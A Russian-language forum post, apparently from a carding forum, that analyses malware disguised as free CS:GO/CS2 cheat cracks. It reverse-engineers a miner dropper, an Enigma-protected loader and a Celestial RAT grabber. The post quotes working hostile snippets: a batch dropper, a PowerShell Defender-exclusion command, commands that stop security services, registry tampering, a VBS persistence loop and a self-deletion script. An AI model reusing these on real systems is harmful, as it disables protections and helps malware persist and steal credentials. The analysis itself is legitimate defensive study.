Акция 2025: Оплачиваем написание статей на кардинг тематику. Подробности
Перейти к содержанию
Искать в
  • Ещё...
Поиск результатов, которые содержат...
Поиск результатов в...
Авторизация  
NullPhantom

[Reverse-Engineering] Анализ вирусов/через кряки

Рекомендуемые сообщения

Вступление.

Всем привет, новичок на форуме.

Хочу поделиться хоть какими-то знаниями, создать первую статью так сказать. Поэтому разберем разные """разнообразные""" вирусы, которые распространяются в сети под видом бесплатных читов для игр CS:GO/CS2

 

Статью писал для начинающих вирусологов/реверс-инжинерам, которым интересно узнать, как работают вирусы изнутри, какие у них шифрования и т.д

Проблема на YouTube и Telegram

Злоумышленники давно уже маскируют вредоносное ПО под видом читов для игр, эта практика началась задолго до CS:GO, еще во времена игр ВКонтакте. Сейчас же они всё так же распространяются, но теперь ещё и под видом самого кряка чита, всё это дело публикуется на платформе YouTube. Они вписывают довольно привлекательную смесь фраз в название ролика, а именно: "Название популярного чита + Crack", чтобы заманивать наивных пользователей.

Для личного удобства перед разбором я буду писать небольшую информацию об авторах вредоносного ПО, пример: [пациент и его номер] - [уровень риска вредоносного ПО].

Уровни риска и что под эту категорию может попасть:
1. Неприятное говно (Низкий опасный потенциал) - потенциально нежелательные программы (PUP), которые не причиняют прямого вреда, но могут быть бесполезны или навязчивы.
2. Опасное говно (Средний опасный потенциал) - вредоносы, собирающие конфиденциальную информацию без ведома пользователя.
3. Деструктивное говно (Высокий опасный потенциал) - удаление важных файлов, отключение компонентов ОС, невозможность загрузки операционной системы, синий экран, зашифрованные данные, ратники

Разбор пациентов

Пациент 1 - Опасное говно (Средний опасный потенциал)


Наш первый пациент является очень хорошим примером того самого душевнобольного, который умудряется делать все платные читы бесплатными, добавляя туда свой подвох, о котором не сообщит вам, распространяя это всё на YouTube и на свой Telegram-канал
Также пациент включил смекалку и поместил вирус в 7Zip пакер, что позволило ему обойти детекты на сайте детекта вирусов Virus Total. На рисунке представлены отношения между файлами, обнаруженными при запуске.

image.thumb.png.328448914bcf0adcdc27175df05ca08d.png

Теперь я распишу за что отвечает каждый файл, представленный на иллюстрации, но более подробно.

1. Cheat Installer - главный файл, который распаковывает остальные файлы в папку AppData/Local/Temp/main, и затем запускает файл main.bat
2. AntiAV.data (AntiAV/AntiAV.bat at master · hXR16F/AntiAV (github.com)) - изначально представляет собою batch-скрипт, который создаёт main.bat и помещает в него код, параллельно добавляя джанк-код и зашифровывает файл.
3. main.bat - "мозг" операции по запуску вируса, чей код представлен ниже:

Цитата

mode 65,10
title g3g34g34g34g43 (34g34g45h6hj56j56j)

md extracted

ren file.bin file.zip
call 7z.exe e file.zip -p13917279271825026492155405390 -oextracted

for /l %%i in (11,-1,1) do
(call 7z.exe e extracted/file_%%i.zip -oextracted

ren file.zip file.bin

cd extracted
move "Installer.exe" ../

cd..
rd /s /q extracted

attrib +H "Installer.exe"
start "" "Installer.exe"
echo Launched 'Installer.exe'.
pausedel /f /q "Installer.exe"

 

Сам алгоритм довольно простой, вначале file.bin переименовывается в file.zip, и начинается процесс распаковки, используя ключ для расшифровки "13917279271825026492155405390". Структура file.zip представляют собой матрешечную вложенность, именно по этой причине здесь используется цикл для распаковки.
После распаковки file.zip обратно переименовывается в file.bin, а Installer.exe получает скрытый атрибут, делая его невидимым в стандартном представлении файловой системы, затем процесс запускается.

4. Installer.exe - вирус, при первом запуске он только инициализирует себя и отключает сервисы.
Первым, что делает вирус, так это выполняет команду в powershell:

Цитата

Add-MpReference -ExclusionPath @($env;UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

 

 

Эта команда добавляет два исключения в Защитник Windows:

- Путь: %UserProfile%

- Путь: %ProgramData%

 - Расширение: .exe

 

Затем наглым образом удаляет обновление KB90830:

Цитата

/c wusa /uninstall /kb:890830 /quiet /norestart


Вирусу его удаляет не просто так, дело в том, что обновление 90830 связано с установкой средства удаления вредоносного ПО (Windows Malicious Software Removal Tool)
Ко всему прочему он останавливает важные службы

 

Цитата

sc stop UsoSvc - Служба обновления Windows
sc stop WaaSMedicSvc - Служба Центра обновления Windows
sc stop wuauserv - Служба автоматического обновления Windows
sc stop bits - Служба фоновой интеллектуальной передачи данных
sc stop dosvc - Служба DistributedCOM
sc stop eventlog - Служба журнала событий


Похоже, что дело мы имеем с Crypto Silent Miner, на то указывают строки с остановкой служб: https://github.com/UnamSanctam/Sile...lentCryptoMiner/Resources/Code/miner.cpp#L121

 

Двигаемся дальше!
 

 

Пациент 2 - Опасное говно (Средний опасный потенциал)

Следующий пациент очень хорошо раскачал свою канал, где постит бесплатные читы, и чужие кряки, к которым он сам не имеет никакого отношения. Тем не менее, ему хватает наглости их склеивать со своим вирусов и публиковать в открытый доступ.

Разберем его пост с кряком Primordial, к которому опять же, он не имеет никакого отношения, но не стоит удивляться, если пост с примордом пропадет.image.png.b4b274f6b3fa8e210538fbd8188a3460.png

Лоадер, как бы это неудивительно не звучало, находится под протектором Enigma с полным пресетом защиты, он проверяет наличие дебаггера, виртуальной машины и целостность (даже имя оригинальное сверяет).

Зачем и что скрывать такому честному человеку? Который сто процентов не распространял бы вирусы. Непонятно, но было бы интересно услышать ответ на это от самого автора канала. Теперь обсудим саму схему работы лоадера(в котором находится вирус), хотя правильнее назвать его дроппером.

Используя песочницу, я обнаружил, что его лоадер создал два исполняемых файла, и затем закрылся.
Если раньше старый лоадер просто дропал Vac Bypass.exe и майнер, то сейчас "новый" лоадер слегка поменял контент, который дроппает пользователю

image.png.69b79b271b395e91b16c5a54f91be5bf.png

 


Для его самых избранных фанатов: архив был скачан прямиком из его телеграм-канала

Разберем роль каждого из процессов
1. cli_gui.exe - Обыкновенный лоадер который весит совсем ничего, имеет зачем-то примитивную проверку на отладчик и в целом играет роль LLA инжектора с патчем NtOpenFile.
2. updater.exe - Майнер, который представлен как Microsoft Edge Updater с иконкой браузера и подписью Microsoft.
Updater.exe тоже завершает те же самые службы, что и майнер предыдущего пациента, не трудно догадаться что оба пациента используют одну и ту же пасту, но с разными настройками.
Например, майнер второго пациента использует технику Process Hollowing (What is process hollowing? (techtarget.com)) в замороженный системный процесс dialer.exe, и уже там майнит.

(Забавный факт, но на некоторых LTSC-сборках нет такого системного процесса, и майнер, не зная этого, пытается создать процесс, и с треском проваливается.)

Отдельного внимания стоит то, как именно пациент криптит строки, скрины взяты из его старого лоадера с кряком Inuria:

 

image.png.2fdea85d1145973b3933276143ef33d2.png

Он палит аргумент с голой строкой в функции, которая её криптит, и затем после полученной зашифрованной строки начинает сразу же её дексорить))00 Шифрование 10 из 10.

image.thumb.png.8fd9fb6e1f82a71b61d073fd71d4460f.png

 

К сожалению, админ этого канала отказался признавать наличие вируса в своих публикациях и не захотел вести со мной адекватный диалог, поэтому шутко-поминки, идём дальше.

image.png.63aca52ac1eae3a3ae34770cb386579e.png

 

Лоадер оригинального Luno Free(ОРИГИНАЛЬНЫЙ ЧИТ БЕЗ ВИРУСОВ) не превышает 1мб, а файл, который предоставляет пациент весит аж 11мб

image.thumb.png.710acec9ada04b2f0da8247d018f0a5b.png

 

Пациент 3 - Деструктивное говно (Высокий опасный потенциал)

 


Теперь перейдем к более серьезным малварям. На очереди человек, который якобы смог "взломать" мощный чит, с мощной защитой, и выложить в бесплатный доступ

Оказалось, что файл этот был написан на C#, и накрыт видоизменённым обфускатором Confuser Core 1.5.0, что доставило мне не мало проблем позже при деобфускации файла.


Первичный анализ

Во время статического анализа я заметил, что de4dot не смог распознать этот обфускатор, поэтому пришлось смотреть вручную листинг в dnSpy

image.png.d2c141230bb3289db5108b184a43658f.png

Далее я полистал названия классов и обнаружил кучу пустых методов, было ясно, что это слегка видоизмененный Confuser.Core, например то же шифрование строк поменялось в лучшую сторону, да так, что ни одна паблик тулза не хотела фиксить это.

image.png.8db68330c737884da7d79b477cc9ded7.png

Убираем AntiTamper

Чтобы была возможность трассировать уже деобфусцированный код, нам нужно снять анти-тампер с файла, который инициализируется первым в программе, если его пропатчить до того, как он вызовется, то в последующем программа просто крашнет.

image.thumb.png.66657fa5110d190dbd88ae8465d2405a.png

 

Сама цель АнтиТампера распределена на несколько этапов, а именно:
1. Поиск зашифрованного блока данных: АнтиТампер сканирует заголовки и секции файла, чтобы найти нужный ему блок данных, который изначально зашифрован в файле.
2. Дешифрование этих данных: Найденный блок данных дешифруется используя CryptoStream и XOR.
3. Проверка целостности данных: Вычисляется MD5-хэш уже дешифрованных данных и затем этот хэш сравнивается с контрольной суммой, вшитой в модуль.
4. Запись дешифрованных данных в память: Если хэши совпадают, дешифрованные данные записываются обратно в память модуля.

Избавиться от анти-тампера оказалось проще простого, во время работы программы проверка целостности ни разу не будет вызвана, это означает, что можно затереть вызов инициализации анти-тампера сразу же после его выполнения и сдампить модуль.

 

Слабое обнаружение VM/SandBox

 

После того, как я привел файл в более читабельный файл и избавился от антитампера, я принялся анализировать работу вируса.
Для начала, он проверяет, находится ли жертва под виртуальной машиной, в частности под VirtualBOX, он обращается к WMIC (Select * from Win32_ComputerSystem), в полученном результате он пытается найти слово 'virtual'. затем после удачной проверки он обращается снова к WMIC, забирая имя дисплея, и в последующем пытаясь найти слово 'basic' в нём.

И финальная проверка в методе заключается в проверке кол-во кэш-памяти, для того чтобы функция вернула false, она должна найти больше двух кэш-памяти.

image.thumb.png.d1d837bec0f4758e8553cdaef21b7c96.png

Помимо этого, были еще различные методы проверки на наличие песочницы, такие как проверка на наличие модуля SbieDll.dll, что довольно неактуально на 2024 год.

Инициализация малваря

Файл создаёт директорию WindowdDebug со скрытым атрибутом, записывая туда файл с именем svchost.exe.
Перед его запуском, он записывает данные в реестр по пути {HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows} со строкой: Load "C:\\Windows\\WindowdDebug\\svchost.exe"

Когда все файлы подготовлены, исполняемый файл удаляет себя batch-скриптом, который он подготовил заранее:

Цитата

chcp 65001
timeout 2 > NUL
DEL "C:\Users\57\Desktop\123.exe" /f /q
CD C:\Users\57\AppData\Local\Temp\
DEL "tmpBE3.tmp.bat" /f /q

 

Реестр

Перезаписанный исполняемый файл повторяет те же самые процедуры, что и его предшественник, с небольшими изменениями, именно тут он начинает полностью функционировать.

Исполняемый файл изменяет ветвь реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System, устанавливая значения DisableTaskMgr в 1, а EnableLUA в 0. Это отключает диспетчер задач, что затрудняет рядовым пользователям удалить вредонос. Кроме того, оно отключает уведомления контроля учетных записей (UAC), которые предупреждают пользователей о попытках исполняемых файлов установить программное обеспечение или внести изменения в систему.

Под раздачу попали и FirewallEnable с DisableAntiSpyware, выключая брандмауэр и защитник Windows.

 

Авто-поднятие вируса

Исполняемый файл создаёт в папке Temp скрипт script.vbs, и заполняет его кодом:

Цитата

On Error Resume Next
Do while true
CreateObject("WScript.Shell").Exec "C:\Windows\WindowdDebug\svchost.exe"
WScript.Sleep(10000)
Loop

Скрипт автоматически запускает исполняемый файл каждые десять секунд, если обнаруживается копия запущенного процесса, она завершается.

image.thumb.png.e867a06632406a0f13c6c0812c782c40.png

Сам вирус тоже отслеживает работу wscript с помощью отдельного потока, чтобы предотвратить его закрытие.

Winlocker + CelestialRAT

Оказалось, что ко всему прочему, тут был и Winlocker, но он по неизвестной мне причине отказывался появляться на экране, несмотря на то, что инициализация формы (инициализация кнопок, текста, панелей) проходила, и мимо пролетали такие строки, как "Windows Заблокирован", "Attempts", "Unlock Windows":

image.thumb.png.7eaf775b9ea2744f97b7599c046c3b32.png

В дальнейшем, анализ показал наличие не только наличие граббера и винлокера, но и полноценного ратника Celestial RAT, о чем свидетельствует использование характерного имени файла при создании архива, а сам метод создания показан на скриншоте:

image.thumb.png.38398789ea20f2de05c510001e8fff61.png

 

При первой отправке логов граббер старается унести важные файлы, которые так или иначе светят слово 'license', так он забрал файлы лицензии de4dot.

Вот как выглядит первый лог:

Цитата

ZipFile:
Comment:
CelestialRAT - log (RU)

/ System \\
Date: 2024-04-04 10:41:59
ComputerName: KOMPUTER
UserName: 57
Language: ru-RU

/ Hardware \\
GPU: Penis
CPU: AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor           
RAM Amount: 8191MB
Screen Metrics: 3238x1280
uses ZIP64: False
disk with CD: 0
CD offset: 0x00000000

 


Затем граббер начинает проверять наличие важных сессий у зараженной жертвы, такие как телеграм сессии, дискорд-токен, и пароли, куки и отправляет уже второй лог, используя веб-хук дискорда:

Цитата

"Celestial RAT / A New log arrived.
Client time: 2024-04-04 10:41:59
Country: RU (-)
UserName: 57
MachineName: KOMPUTER
GPU: Penis
CPU: AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor           
RAM: 8191MB
System: Windows 10 Enterprise LTSC 2021 64-bit (OS Build 19044)
Screen: 3238x1280
-------------------------------------------------
Passwords : 0
Cookies : 0
Autofills : 0
Discord tokens : 0
Wallets : 0
Filezilla hosts : 0
Telegram sessions : 0
-------------------------------------------------Password:-"

 

Сам метод отправки через веб-хук выглядит так:

image.thumb.png.84f5da9c8b4ce7aeb034e586fcf12d1d.png

Вывод: МАЛВАЛЬ!

На этом все! Надеюсь администрация форума одобрит данную тему, ведь я старался, искал вирусы, разбирал их.

Если нужна 2 часть, проявите активность, сделаю!

 

 

Изменено пользователем NullPhantom

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти
Авторизация  

×